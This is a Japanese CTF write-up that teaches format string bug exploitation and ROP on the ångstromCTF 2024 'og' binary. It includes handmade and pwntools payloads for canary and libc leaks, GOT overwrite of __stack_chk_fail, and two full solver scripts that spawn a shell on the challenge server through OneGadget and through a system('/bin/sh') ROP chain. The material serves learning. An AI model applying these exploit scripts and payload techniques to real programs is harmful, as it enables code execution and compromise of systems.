All Articles

よちよち CTFer の Pwn 超入門 1 - FSB の基礎と ROP のテクニック 編-

最近 Pwn の勉強を始めました。

今回はチームの Pwn 担当のアドバイス受けつつ、ångstromCTF 2024 の og を題材にフォーマット文字列攻撃と ROP のテクニックを学んだので Pwn の入門テクニックとしてまとめていきます。

もくじ

問題の概要 og(Pwn)

only the ogs remember go

この問題で提供される問題バイナリ(ELF)は、主に main と go という 2 つの関数で構成されています。

以下は、各関数のデコンパイル結果です。

int64_t go()
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    setbuf(stdin, nullptr);
    setbuf(stdout, nullptr);
    setbuf(stderr, nullptr);
    printf("kill $PPID; Enter your name: ");
    void var_38;
    fgets(&var_38, 0x42, stdin);
    printf("Gotta go. See you around, ");
    printf(&var_38);
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
    {
        return (rax - *(uint64_t*)((char*)fsbase + 0x28));
    }
    __stack_chk_fail();
    /* no return */
}


int32_t main(int32_t argc, char** argv, char** envp)
{
    go();
    return 0;
}

バイナリを見てもわかりますが、このプログラムでは Canary が有効化されています。

また、PIE が無効で RELRO(Relocation Read-Only) は Partial RELRO なので、比較的容易に GOT オーバーライドを使用できそうなことがわかります。

image-20240604211454156

プログラムのデコンパイル結果を読むと、fgets(&var_38, 0x42, stdin); で最大 0x42 バイト分の入力を受け取って RBP-0x30 に格納しています。

つまり、ここにはバッファオーバーフローの脆弱性があります。

また、printf(&var_38);では受け取った入力を printf で出力しており、フォーマット文字列攻撃も可能であることがわかります。

ここまでの確認結果から、この問題ではフォーマット文字列攻撃を利用して Canary をリークして BoF 攻撃を成功させたり、GOT オーバーライドによって任意のアドレスのコードを実行したりすることで Flag を取得できると予想できます。

フォーマット文字列攻撃の基本と実践

フォーマット文字列攻撃を実践するために、まずは以下の神記事の内容を中心に FSB(Format String Bug) の悪用の典型を押さえておくことにします。

参考:Format String Exploitを試してみる - CTFするぞ

参考:Format Strings | Japanese - Ht | HackTricks

FSB とは

FSB は、printf や sprintf、fprintf などの関数の最初の引数にフォーマッタを含む攻撃者のテキストを入力可能なプログラムの脆弱性を指します。

今回の問題バイナリでは、ユーザが入力したデータが printf(&var_38); にて printf 関数の引数として与えられているため、FSB の脆弱性が存在すると判断できます。

printf などの関数では、以下のようなフォーマッタを使用できます。

フォーマッタは % 記号、フラグ、変換文字列の長さを指定する 10 進数文字列、変換指定子などで構成されます。

以下は、一般的な変換指定子とその用途です。

%d —> int(Decimal)
%u —> Unsigned int(Decimal)
%x —> Unsigned int(Hex)
%08x —> 8 hex bytes
%f -> double(Decimal)
%c -> Unsigned char
%s —> String
%p —> Pointer
%n —> Number of written bytes to pointer
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3)> Access to var3

参考:fprintf()

特に f、c、s、p 以外の整数を扱う変換指定子の場合、以下の長さ修飾子を %hhn のように使用することで引数に渡した値を指定した長さの通りに扱うことができます。

hh -> 1 byte(harf-half)
h -> 2 byte(harf)
l -> 8 byte(long)

このようなフォーマッタを使用し、printf(&var_38); のように printf の第 1 引数をユーザがコントロールできる場合には FSB を悪用してスタックやメモリ内のデータをリークしたり、任意のデータを改ざんすることが可能になります。

このような悪用が可能な理由は、printf や sprintf、fprintf などの関数は可変長引数を取るため、関数側では実際にいくつの引数を与えられているか判断できないためです。

そのため、関数は第 1 引数のフォーマット文字列の数だけレジスタやスタックの値を表示しようとします。(%n を使用する場合は出力した文字数を引数のポインタに書き込みます)

FSB を利用した具体的な悪用方法は後述します。

FSB で出力可能な値

CTF で FSB を悪用する場合、埋め込んだフォーマッタが実際にどのレジスタやスタックの値を参照するのかを事前に把握しておく必要があります。

Linux の x64 呼び出し規約の場合、各引数は通常、以下に格納されます。

引数 格納先
第 1 引数 RDI
第 2 引数 RSI
第 3 引数 RDX
第 4 引数 RCX
第 5 引数 R8
第 6 引数 R9
第 7 引数以降 スタックアドレス

第 1 引数にはフォーマッタが格納されるため、フォーマットストリング攻撃では基本的に第 2 引数以降のレジスタの値を順に参照していき、6 つ目のフォーマッタからスタックの情報を参照するようになります。(この時のスタックトップには多くの場合第 1 引数に格納されるフォーマッタを含むテキストが入ります)

実際にこの挙動を gdb で確認してみます。

今回の問題バイナリ og で FSB を悪用できるのは以下の箇所です。

スタック領域の RBP-0x30 には事前にユーザ入力から与えられたフォーマッタを含む文字列が格納されています。

image-20240606214521784

実際に 0x401239 にブレークポイントを設定して AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p という文字列を入力した場合のデバッグを行います。

b *0x401239
r
# AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p を入力

この時 printf で出力されたのは AAAABBBB_0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil)_0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f というテキストでした。

AAAABBBB は入力値がそのまま出力されていますが、0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil) までの範囲には第 2 引数の RSI レジスタから R9 レジスタまでの値が順に格納されています。(%p による出力のため、0 の値は (nil) として表示されます)

image-20240606220230900

そして、それ以降の 0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f からスタックの値が順に出力されていることがわかります。

gdb でこのタイミングの RBP-0x30 以降のスタック領域を参照すると、printf でリークした値と一致することがわかります。

image-20240606220444467

また、多くの場合 $ 記号による変換指定を使用する場合、特定の位置の引数を明示的に指定することも可能です。

例えば、AAAABBBB_%6$p という入力を与えた場合、%6$p によって 6 番目の出力(printf の引数が格納されるスタックアドレス)の値のみを print することも可能です。

image-20240606221024478

この方法を応用することで、printf の引数が格納されるスタックアドレスから大きく離れたアドレスの値をリークすることもできるようになります。

FSB で Canary をリークする

続いて、FSB で任意の Canary の値をリークしていきます。

Canary は通常各関数のプロローグでスタックに保存されるので、FSB で容易にリークすることが可能です。

今回の問題バイナリの場合、Canary は go 関数内で RBP-0x8 のアドレスに格納されています。

FSB の悪用に使用するフォーマッタが格納されている RBP-0x30 のアドレスには %6$p でアクセスできるので、Canary が格納されるスタック領域には (0x30-0x8)//0x8 = 5 を加算した %11$p でアクセスできます。

実際にこの入力を与えることで go 関数内のスタックから Canary をリークできます。(Canary の値はプログラムを実行する度にランダムに設定されます)

image-20240606222639190

しかし、状況によっては BoF によってスタックを破壊してしまっている場合など、go 関数内の RBP-0x8 のアドレスから Canary を取得できない場合があります。

以下は Canary を破壊してしまっているために %11$p の出力結果が 0x4141414141414141 となってしまっている例です。

image-20240606222828946

このような場合には、FSB の悪用が可能な関数内の printf が参照しているスタックアドレスより深いアドレスのスタックに保存される Canary をターゲットにするとリークが可能になります。

今回の場合はまず、go 関数内にブレークポイントを設定して、TSL(fs:0x28) から取得してきた Canary の値(0xba2d86a755c0c400) を確認し、searchmem 0xba2d86a755c0c400 にて他のスタック領域に Canary が埋め込まれていないかを調べます。

すると、以下のように go 関数の RSP が指すアドレスより深いアドレスにある 0x7fffffffdc18 にも Canary と同じ値が埋め込まれていることがわかりました。

image-20240606230423319

このアドレスには、main 関数の実行前に呼び出される __libc_start_call_main の中で TLS から取得した Canary の値をスタックに保存した際の情報が残存しているようです。

image-20240606230322555

このアドレスと go 関数の RBP-0x30 との差分は 0xd8 で、0xd8//0x8 = 27 から、%33$p でも Canary をリークできそうです。

実際に、%11$p%33$p で同じ値をリークできる上に、go 関数のスタックが BoF で破壊されている場合でも Canary のリークに成功することを確認できます。

image-20240606231708048

この方法でリークした Canary は後程 BoF の脆弱性を悪用する場合に使用します。

FSB で libc のベースアドレスをリークする

次は、後程 ROP や OneGadget を使用するために、FSB でライブラリ関数のアドレスをリークして libc のバージョンを特定します。

FSB でライブラリ関数のアドレスをリークするテクニックの 1 つとして、main 関数のスタックに保持されている __libc_start_main_ret のリターンアドレスをリークさせる手法があります。

今回のバイナリの場合、go 関数のリターンアドレスが格納されているアドレスに 16 バイト加算した位置に __libc_start_main_ret のリターンアドレスが記録されています。

つまり、(0x30+0x8+0x10)//8 = 9 を加算した %15$p をリークすると __libc_start_main_ret のアドレスを特定できます。

image-20240606234914053

ここで、問題サーバに接続して FSB でこのアドレスをリークすると、 __libc_start_main_ret の末尾が 0xd90 であることを特定できます。

image-20240606235228460

そのため、ここから問題サーバの libc のバージョンもある程度絞り込むことができます。

image-20240606235215536

ちなみに今回は問題サーバの Dockerfile も与えられているため、ここからも libc のバージョンが 2.35-0ubuntu3.6 であることを特定することができます。

image-20240606235817115

FSB で GOT オーバーライドを行う

FSB で Canary や libc 関数のアドレスをリークできることがわかりましたが、現在の go 関数の実装では、入力を 1 度受け取って printf で出力したらそのままプログラムが終了してしまいます。

問題サーバで実行されているバイナリは fork 型ではなく、Canary やライブラリ関数のロードアドレスは毎回ランダムに決定されるため、このままではせっかくメモリ内のデータをリークしてもエクスプロイトにつなげることができません。

このような問題を回避するためには、BoF や GOT オーバーライドなどの攻撃手法を利用して、入力を受け付ける悪用可能な関数を繰り返し実行させる必要があります。

すでに確認している通り、今回の問題バイナリは PIE が無効で RELRO(Relocation Read-Only) は Partial RELRO なので GOT オーバーライドを使用できそうです。

まずは GOT オーバーライドで脆弱性のある go 関数の再実行に使えそうな対象を特定します。

image-20240607221710176

この中だと、Canary が破壊された場合に呼び出される __stack_chk_fail のオーバーライドを行うことで go 関数の再実行と BoF が発生した場合にプロセスが終了されないようにするための改ざんを同時に行えそうです。

FSB の悪用で GOT オーバーライドを行うためには、pwntools の fmtstr_payload を使用するのが便利です。

しかし、我々の目指す先はスクリプトキディではないので、今回はハンドメイドしたペイロードで FSB を悪用した GOT オーバーライドを実践しましょう。

前の項でまとめた通り、FSB でメモリアドレス内の値を書き換えるには %n フォーマッタを使用します。

これは、引数のポインタアドレスに printf が %n を見つけるまでに出力した文字数を格納することができるフォーマッタです。

例えば以下のコードを実行すると、ABCD の次の行に 5 という表示が出力されます。

#include <stdio.h>
int main() {
    char* buf[10];
    printf("ABCDE%n\n", &buf);
    printf("%d", buf[0]);
    return 0;
}

これは、ABCDE%n\n によって、%n の前に出力した文字数である 5 を buf 変数のアドレスに格納したためです。

このフォーマッタを応用することで、FSB で指定したポインタのアドレス任意のバイト値を書き込むことができます。

より柔軟にメモリの書き換えを行うため、いくつかのテクニックを使用できます。

まずは、%100c のようなフォーマッタを利用する方法です。

%100c のようなフォーマッタを使うと、実際に 100 文字を引数として printf 系関数に与えなくても、指定したサイズ分の余白を表示させることで %100c%n のようなより短い記法で特定の値を書き込むことができます。

実際に以下のコードを実行すると、変数 buf の値は 100 に書き換えられることを確認できます。(%100c のフォーマッタの分も追加の引数が必要な点に注意します)

#include <stdio.h>
int main() {
    int buf = 0;
    printf("%100c%n\n",NULL,&buf);
    printf("%d", buf);
    return 0;
}

また、%hhn とすることで Byte、%hn で Short、%n で int としてそれぞれ 1、2、4 バイトずつ書き込みを行うことができるようです。

このあたりを詳細に確認できる情報は見つかりませんでしたが、恐らく printf 関数の以下の箇所で定義されているキャストで実現していそうです。

case 'n':
    ptr = va_arg(ap, void *);
    if(flags & LONGLONGFLAG)
        *(long long *)ptr = chars_written;
    else if(flags & LONGFLAG)
        *(long *)ptr = chars_written;
    else if(flags & HALFHALFFLAG)
        *(signed char *)ptr = chars_written;
    else if(flags & HALFFLAG)
        *(short *)ptr = chars_written;
    else if(flags & SIZETFLAG)
        *(size_t *)ptr = chars_written;
    else 
        *(int *)ptr = chars_written;
    break;

参考:lib/libc/printf.c - kernel/lk - Git at Google

実際に以下のようなコードを使って確かめてみると、%hhn を使用した場合は buf の下位 1 バイトのみが、%hn を使用した場合は下位 2 バイトのみが、そして %n を使用する場合はすべての値が書き換えられることを確認できます。

#include <stdio.h>
int main() {
    // 0xFFF -> 0xFF
    int buf = 0x0DDDDDDD;
    printf("%4095c%hhn\n",NULL,&buf);
    printf("%x", buf);
    
    // 0xFFFFF -> 0xFFFF
    buf = 0x0DDDDDDD;
    printf("%1048575c%hn\n",NULL,&buf);
    printf("%x", buf);
    
    // 0xFFFFFFFF
    buf = 0x0DDDDDDD;
    printf("%268435455c%n\n",NULL,&buf);
    printf("%x", buf);

    return 0;
}

また、このコードを実行してみるとわかる通り、最後の printf("%268435455c%n\n",NULL,&buf); を実行する際には膨大なサイズの余白が出力されます。

このような操作をリモート端末に対して行うと、数百 MB ~ 数 GB 以上のサイズのデータ通信が発生することになり、ネットワーク負荷やペイロードの送信遅延によって攻撃が失敗する可能性があります。

そのため、FSB の悪用に使用可能な入力サイズの制限などの理由がない限り、メモリの置き換えを行う場合は short や byte サイズでの書き換えを行う方がよいようです。

※ pwntools の fmtstrpayload の `writesize` はデフォルトで Byte が設定されているようです。

def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False)

それでは実際に、__stack_chk_fail の GOT オーバーライドによって、Canary が破壊された場合に go 関数が呼び出されるようにペイロードを作成してみましょう。

__stack_chk_fail の GOT が指すアドレスは 0x404018 であり、go 関数の呼び出しアドレスは 0x401196 です。

そこで、まずは以下のペイロードを試してみることにします。

%4198806c%8$n\x90\x90\x90\x18@@\x00\x00\x00\x00\x00

このペイロードは、<0x401196 バイト分の余白> + <第 7 引数のスタックが保持するポインタアドレスに int 値として書き込み> + <スタック調整のパディング> + p64(0x401196) の値 で構成されています。

このペイロードをバイナリに送り込むと、実際に __stack_chk_fail の GOT が指すアドレスを 0x401196 に改ざんできたことがわかります。

image-20240609200650367

しかし、前述の通りこのペイロードでは 0x404018 バイト分のデータを出力することになります。

そのため、次は Byte や Short 単位でこのメモリアドレスを改ざんするようにペイロードを工夫してみます。

以下の Python スクリプトで生成したペイロードを送り込むと、先ほどと同じように __stack_chk_fail の GOT が指すアドレスを 0x401196 に改ざんできました。

b"%17c%12$hhn%47c%13$hhn%86c%11$hhn" + b"\x90"*7 + p64(0x404018) + p64(0x404019) + p64(0x40401a)

このペイロードでは、%17c%12$hhn で 0x404019 に 0x11 を、%47c%13$hhn% で 0x40401a に 0x40 を、%86c%11$hhn で 0x404018 に 0x96 を書き込んでいます。

%n フォーマッタでは、その printf 関数が出力した文字数に応じて書き込む値が変化するため、書き込む値が小さい順から、その差分を取っていく形で書き込み順序と %c で出力する値を決定しています。

そのため、Byte サイズの書き込みを行う場合には、printf 関数が出力するデータ量は 0xFF(+α) 程度に抑えることができます。

また、以下のスクリプトで生成したペイロードでは、%hn を使用して Short 単位でメモリアドレスを書き換えることでも、GOT オーバーライドを行うことができます。

b"%64c%10$hn%4438c%9$hn" + b"\x90"*3 + p64(0x404018) + p64(0x40401a)

ここでは、%64c%10$hn で 0x40401a に 0x0040 を、%4438c%9$hn で 0x404018 に 0x1196 を書き込むことでオーバーライドを行っています。

Short 単位で書き込む場合も、Byte の場合と同じく書き込む値が小さい順から、その差分を取っていく形で書き込み順序と %c で出力する値を決定しています。

これで、FSB を悪用した GOT オーバーライドのためのペイロードをハンドメイドできるようになりました。

とはいえ、実際に CTF の問題を解く場合には、もっと簡単にペイロードを作成したいと思います。

そこで、最後に先ほど紹介した pwntools の fmtstr_payload 関数を使います。

fmtstr_payload 関数は以下のデフォルト引数を取るように定義されています。

def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False)

そのため、ユーザは offset(フォーマッタで参照可能な最上位のスタックアドレスの位置) と writes(書き換えたいアドレスと値の組み合わせを定義した辞書) を引数に与えるだけで、簡単に FSB を悪用することができます。

すでに確認している通り、今回のバイナリで FSB を悪用する場合にアクセス可能な最上位のスタックの offset は 6 です。

そして、__stack_chk_fail の GOT が指すアドレスは 0x404018 であり、go 関数の呼び出しアドレスは 0x401196 です。

以上の情報から、以下のスクリプトで簡単に GOT オーバーライドのためのペイロードを作成できます。

fmtstr_payload(offset=6, writes={elf.got["__stack_chk_fail"]:0x401196})

このスクリプトを実行すると、以下のペイロードが作成されます。

b'%150c%11$lln%123c%12$hhn%47c%13$hhnaaaab\x18@@\x00\x00\x00\x00\x00\x19@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00'

このペイロードでは、最初に %150c%11$lln で 0x96 を 0x404018 に書き込んでいます。

fmtstrpayload の writesize がデフォルトなのに %lln を使用しているのは、恐らく 0x96 を long long 型として書き込むことで、対象メモリの他の余計なデータをフラッシュするための工夫だと考えられます。

また、fmtstr_payload で作成したペイロードでは、先ほどハンドメイドしたペイロードのように書き込む値が小さい順に並び替えるようなことはせず、0x404018 から 0x40401a まで、順に 1 バイトずつ書き込みを行っているようです。

これは恐らく、%hhn で書き込む際に下位 1 バイト以外は無視できる性質を利用していると考えられます。

そのため、以下のように最初に 0x96 を書き込んだ場合でも、0x111 や 0x140 になるように追加の出力を行うことで、実質的に 0x96、0x11、0x40 を順に書き込むことができるようになっています。

image-20240609222154782

このように洗練されたスクリプトが出力するようペイロードを自分で作成したペイロードと比較して見るのも、ツール側の工夫を感じられて学びがあると思います。

解法 1:OneGadget で Shell を取得する

FSB で libc のベースアドレスのリークと GOT オーバーライドに成功したので、この問題の Shell を獲得することができます。

この 2 つのテクニックを使用して Shell を取得するため、詳解セキュリティコンテストでも紹介されている one_gadget を使用して one-gadget RCE を行います。

参考:david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6

まずは、与えられた Dockerfile を使用してビルドしたコンテナから、問題サーバと同じバージョンの libc.so.6 ファイル(/srv/usr/lib/x86_64-linux-gnu/libc.so.6)をローカル端末にコピーしておきます。

そして、以下のコマンドを実行して one-gadget RCE のアドレスを特定します。

# sudo gem install one_gadget
one_gadget ./libc.so.6

このコマンドを実行すると、以下のような出力をえることができました。

image-20240610000108947

FSB による libc アドレスのリークと GOT オーバーライド、そしてこの OneGadget を使用して以下の Solver を作成することで Shell を取得できます。

from pwn import *

# Set target
TARGET_PATH = "./og"
elf = context.binary = ELF(TARGET_PATH)

# target = process(TARGET_PATH)
target = remote("challs.actf.co", 31312)

# Exploit
# First stage
target.recvuntil(b"Enter your name: ")
payload = b"%64c%11$hn%4438c%10$hn%15$p" + b"\x90"*5 + p64(0x404018) + p64(0x40401a)
target.sendline(payload)

r = target.recvuntil(b"Enter your name: ")
l1 = len(b"0x7f4dfd768d90\x90\x90\x90\x90\x90\x18@@kill $PPID; Enter your name: ")
l2 = len(b"\x90\x90\x90\x90\x90\x18@@kill $PPID; Enter your name: ")
leaked_libc_main_ret = int(r[-l1:-l2].decode(),16)
leaked_libc_base = leaked_libc_main_ret - 0x029d90
print(hex(leaked_libc_main_ret))

# Second stage
payload = fmtstr_payload(offset=6, writes={elf.got["__stack_chk_fail"]:leaked_libc_base+0xebc85},write_size="short")
target.sendline(payload)

target.clean()
target.interactive()

First stage では、ハンドメイドしたペイロードを使用して __stack_chk_fail の GOT が指すアドレスを go 関数の呼び出しアドレスにオーバーライドするとともに、__libc_start_main_ret アドレスのリークを同時に行っています。

ここで fmtstrpayload ではなくハンドメイドしたペイロードを使用している理由は、fmtstrpayload で生成したペイロードに任意のフォーマット文字(%15$p)を連結するのが面倒だからです。

fmtstr_payload で生成したペイロードの前に %15$p を連結した場合、スタック位置や出力文字数、パディングなどを調整しなくてはいけなくなるので、ハンドメイドする場合と大きく手間が変わらなくなってしまいます。

また、fmtstr_payload で生成したペイロードには基本的に \x00 が含まれるため、printf 関数はそれ以降の文字を出力できず、ペイロードの後ろに %15$p を連結してもアドレスのリークなどを行うことができません。

そのため、First stage では fmtstr_payload ではなくハンドメイドしたペイロードを使用して GOT オーバーライドと libc アドレスのリークを同時に行っています。

続く Second stage では、リークしたアドレスから求めた libc ベースアドレスに OneGadget のオフセット 0xebc85 を加算したアドレスを __stack_chk_fail の GOT が指すアドレスに埋め込んでいます。(one_gadget が出力した 1 つめのアドレスは条件を見たさなかったので 2 番目の 0xebc85 を使用しています)

ちなみに、ここで write_size="short" を指定しているのは、既定値の Byte のままだとペイロードのサイズが 0x78 になってしまい、入力サイズ制限の 0x42 バイトを超過するためです。

write_size="short" を指定することで、ペイロードのサイズは 0x40 バイトに削減することができます。

このスクリプトを実行すると、Second stage で __stack_chk_fail の GOT が指すアドレスに埋め込んだ OneGadget RCE が発火し、Shell を取得できます。

image-20240604225303804

おまけ:fmtstr_payload のペイロードに任意のフォーマット文字を連結する

もちろん、fmtstr_payload で生成したペイロードに任意のフォーマット文字を連結すること自体は可能です。

今回の問題バイナリの場合、以下のスクリプトでペイロードを作成することで、libc アドレスのリークと GOT オーバーライドを同時に行うことができます。

payload = b"%15$pAAA" + fmtstr_payload(offset=7, numbwritten=17, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")

ここでは、スタック位置の調整のためにパディングを含めて 8 バイト分の文字列 b"%15$pAAA" を fmtstr_payload で生成したペイロードに連結しています。

%15 を連結したことでスタック位置が 8 バイト分ずれるので、offset を 6 から 7 に変更しています。

そして、b"%15$pAAA" が先に 0x7f4dfd768d90AAA という 17 文字を出力することが期待されるので、numbwritten 引数に 17 を設定しています。

これによって、少し手間はかかりますが fmtstr_payload で生成したペイロードに任意のフォーマット文字を連結することができました。

b'%15$pAAA%4485c%11$lln%170c%12$hhnaaaabaa\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00'

ちなみに、write_size="short" を追加しているのは、Second stage のペイロードと同じく、0x42 バイトの入力制限に対応するための調整が理由です。

ROP と Canary Bypass の実践

解法 1 にて OneGadget を使用して Shell と Flag は取得できたものの、ここからは別解として ROP による Shell の取得を試してみようと思います。

ROP を行うためには、大きく以下のステップをこなす必要があります。

  1. Canary が存在する場合、Canary をバイパスする
  2. 必要に応じて libc のバージョンとベースアドレスをリークする
  3. エクスプロイトのための ROP チェーンを構築する
  4. 入力制限を突破してエクスプロイトをスタックに埋め込む

この項では、同じ og バイナリをテーマに上記の各ステップを実践していきます。

Canary Bypass を行う

まずは Canary Bypass を行います。

すでに FSB の項で Canary のリークは実践済みですが、一応 libc アドレスと Canary を同時にリークさせつつ GOT オーバーライドできるように調整した以下のペイロードを新たに作成します。

payload = b"%15$p %33$pAAAAA" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")

Canary のリークのためのフォーマット文字を %33$p としているのは、前の項で見た通り go 関数内のスタックを破壊すると同時に 1 回の FSB の悪用で完全な Canary をリークするため、より下位のスタックに埋め込まれた Canary をリークさせているためです。

2 回目に呼び出される go 関数で送り込むペイロードで、ここでリークした Canary が RBP-0x8 の位置に来るようにペイロードを調整すると、Canary を破壊せずに BoF を起こすことができます。

実際に、以下のようにペイロードを調整すると、Canary を破壊せずにリターンアドレスを侵害できるようになりました。

target.recvuntil(b"Enter your name: ")
payload = b"%15$p %33$pAAAAA" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")
target.sendline(payload)

r = target.recvuntil(b"Enter your name: ")
l = len(b"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900")
leaked_libc_main_ret = int(r[:l].decode().split(" ")[5],16)
leaked_libc_base = leaked_libc_main_ret - 0x029d90
leaked_canary = int(r[:l].decode().split(" ")[6],16)

target.sendline(b"A"*(0x30-0x8) + p64(leaked_canary) + b"B"*(0x42-0x30))

image-20240610211903172

ROP Gadget を集める

今回は NX が有効化されているので、実行可能なメモリ領域に直接コードを埋め込むことができません。

そのため、NX を回避しつつ BoF を悪用して RCE を行うための方法として ROP を検討します。

ROP は通常、ROP Gadget と呼ばれる ret で終わる命令セットをつなげた ROP Chain を構築することで行われます。

スタックに書き込まれた ROP Chain が順に呼び出されていくことで、最終的に任意のコードを実行することができます。

多くの場合、ROP Chain では任意の値を引数に仕込んだ状態で system など、何らかの関数を実行することで Shell の取得を試みます。

この際、非常に便利な Gadget は x64 規約で引数に使用される RDI、RSI などのレジスタにスタックから値を送り込むことができる pop rdi ; retpop rsi ; ret などです。

このような Gadget は従来では __libc_csu_init 関数に含まれていたため容易に利用できましたが、今回のバイナリのように glibc 2.34 以降の環境で動的リンクによってコンパイルされたバイナリの場合、__libc_csu_init 関数自体が存在しなくなるためにこの Gadget を利用できなくなっています。

実際に、適当な C のコードを glibc 2.34 以降の環境とそれ以前の環境で同じようにコンパイルしてみると、glibc 2.34 以降の環境では pop rdi ; ret のような Gadget が存在しないことを確認できます。

▼ glibc 2.34 未満の環境でコンパイルしたバイナリ

image-20240612222134799

▼ glibc 2.34 以降の環境でコンパイルしたバイナリ

image-20240612222258852

このあたりの変更の詳細は以下の記事に詳しくまとめられていて非常に参考になります。

参考:glibc code reading 〜なぜ俺達のglibcは後方互換を捨てたのか〜 - HackMD

とにかく、今回の問題バイナリは glibc 2.34 以降の環境でコンパイルされており、pop rdi ; retpop rsi ; ret などの Gadget がバイナリ本体に存在しなかったため、Shell を取得可能な ROP を構成することが容易ではありません。

このような状況における回避策の 1 つとして、リークした libc のアドレスからライブラリのバージョンを特定し、共有ライブラリ内の Gadget を使って ROP を成立させる方法があります。

実際に、すでにコンテナから抽出済みの、今回の問題サーバが使用するライブラリファイルに埋め込まれた Gadget を探索すると、主要な操作を行う際に使用する多くの Gadget を見つけることができます。

image-20240612223621000

そのため、今回はこのライブラリファイルから ROP Chain に使えそうな Gadget を集めていきたいと思います。

典型的かつ最もシンプルな ROP Chain の 1 つは以下のようなものかと思います。

payload += flat(
    pop_rdi_ret,
    binsh_addr,
    system_addr
)

そのため、ropr などのツールを使用すると、ライブラリファイルから上記の ROP Chain に必要な Gadget は容易に取得できます。

pop_rdi_ret = leaked_libc_base + 0x1bbea1
binsh_addr = leaked_libc_base + 0x1d8678
ret = leaked_libc_base + 0x1bc065
system_addr = leaked_libc_base + 0x50d70

入力の制約を回避する

しかし、ここで問題になるのは、go 関数では入力可能なバイト数が 0x42 に制限されている点です。

Canary と Saved RBP を含むサイズが 0x30+0x8 なので、BoF に利用できる領域がたった 10 バイトしかありません。

これでは ROP Chain を埋め込むことができないので、入力の制約を回避するアプローチを取る必要があります。

今回 go 関数の BoF で実行できる ROP Gadget は 1 つだけです。

この場合、OneGadget RCE のように 1 回の呼び出しで Shell を取得可能な Gadget を探すか、ROP Chain を構築するために十分なバッファを確保してそこにジャンプするといった回避方法があります。

すでに確認している通り今回は GOT オーバーライドによって Canary が破壊された場合にもう 1 度 go 関数を呼び出されるようになっています。

これを利用して、以下のように前の go 関数が確保したスタック領域を ROP Chain の格納先として使用できそうです。

| $RBP-0x30 |
| $RBP-0x28 |
| $RBP-0x20 |
| $RBP-0x18 |
| $RBP-0x10 |
| $RBP-0x8  | <- Canary
| $RBP-0x0  | <- Saved RBP
| $RBP+0x8  | <- Return Address
| $RBP+0x10 | <- 前の go 関数の $RBP-0x30(2 バイトのみオーバーフロー可能
| $RBP+0x18 | <- 前の go 関数の $RBP-0x28

唯一のハードルとして、go 関数で BoF を利用して Return Address に ROP Gadget を埋め込んだ場合、次のスタック(前の go 関数の $RBP-0x30) のうち 2 バイトの値が破壊されてしまう点があります。

このスタックの破壊によって、前の go 関数のスタック領域に埋め込んだ ROP Chain を悪用するために、邪魔な $RBP+0x10 のスタックをスキップする工夫が必要になります。

例えば今回のバイナリの場合は適当な pop 命令を含む Gadget を実行することでこのスタックをスタックトップから排除することで $RBP+0x18 以降に埋め込んだ ROP Chain を実行できるようになり、この制約を回避できます。

解法 2:ROP で Shell を取得する

この方法で入力の制約を回避し、$RBP+0x18 以降に埋め込んだ ROP Chain を実行するペイロードを用意しました。

これをスクリプト化すると以下のようになります。

from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

# Set target
TARGET_PATH = "./og"
elf = context.binary = ELF(TARGET_PATH)

target = remote("challs.actf.co", 31312)

# Exploit
# First stage
target.recvuntil(b"Enter your name: ")
# payload = b"%64c%11$hn%4438c%10$hn%15$p" + b"\x90"*5 + p64(0x404018) + p64(0x40401a)
payload = b"%15$p %33$pAAAAA" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")
target.sendline(payload)

r = target.recvuntil(b"Enter your name: ")
l = len(b"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900")
leaked_libc_main_ret = int(r[:l].decode().split(" ")[5],16)
leaked_libc_base = leaked_libc_main_ret - 0x029d90
leaked_canary = int(r[:l].decode().split(" ")[6],16)

pop_rdi_ret = leaked_libc_base + 0x1bbea1
binsh_addr = leaked_libc_base + 0x1d8678
ret = leaked_libc_base + 0x1bc065
system_addr = leaked_libc_base + 0x50d70

# Second stage
payload = flat(
    b"A"*8,
    pop_rdi_ret,
    binsh_addr,
    ret,
    system_addr,
    b"B"*0x10
)
target.sendline(payload)

# Third stage
target.recvuntil(b"Enter your name: ")
payload = flat(
    b"A"*(0x30-0x8),
    leaked_canary,
    b"B"*8,
    pop_rdi_ret
)
target.sendline(payload)

target.clean()
target.interactive()

First stage では、libc のベースアドレスと Canary のリークを行っています。

そして、続く Second Stage では、$RBP-0x28 以降の領域に ROP Chain を埋め込んだ後、意図的に Canary を破壊しています。

最後の Third Stage では、1 つだけ埋め込める ROP Gadget に pop rdi; ret を使用することで、RBP+0x10のスタックをトップから取り除き、RBP+0x10 のスタックをトップから取り除き、RBP-0x28 以降の領域に埋め込んだ ROP Chain を実行することで Shell を取得しています。

これで、ROP を使用して Shell と Flag を取得することができました。

まとめ

最近 Rev に行き詰まりを感じていたので本格的に Pwn の勉強を始めました。

時間をかけて FSB や ROP に取り組むことで今後に応用できる知見を得られたように思います。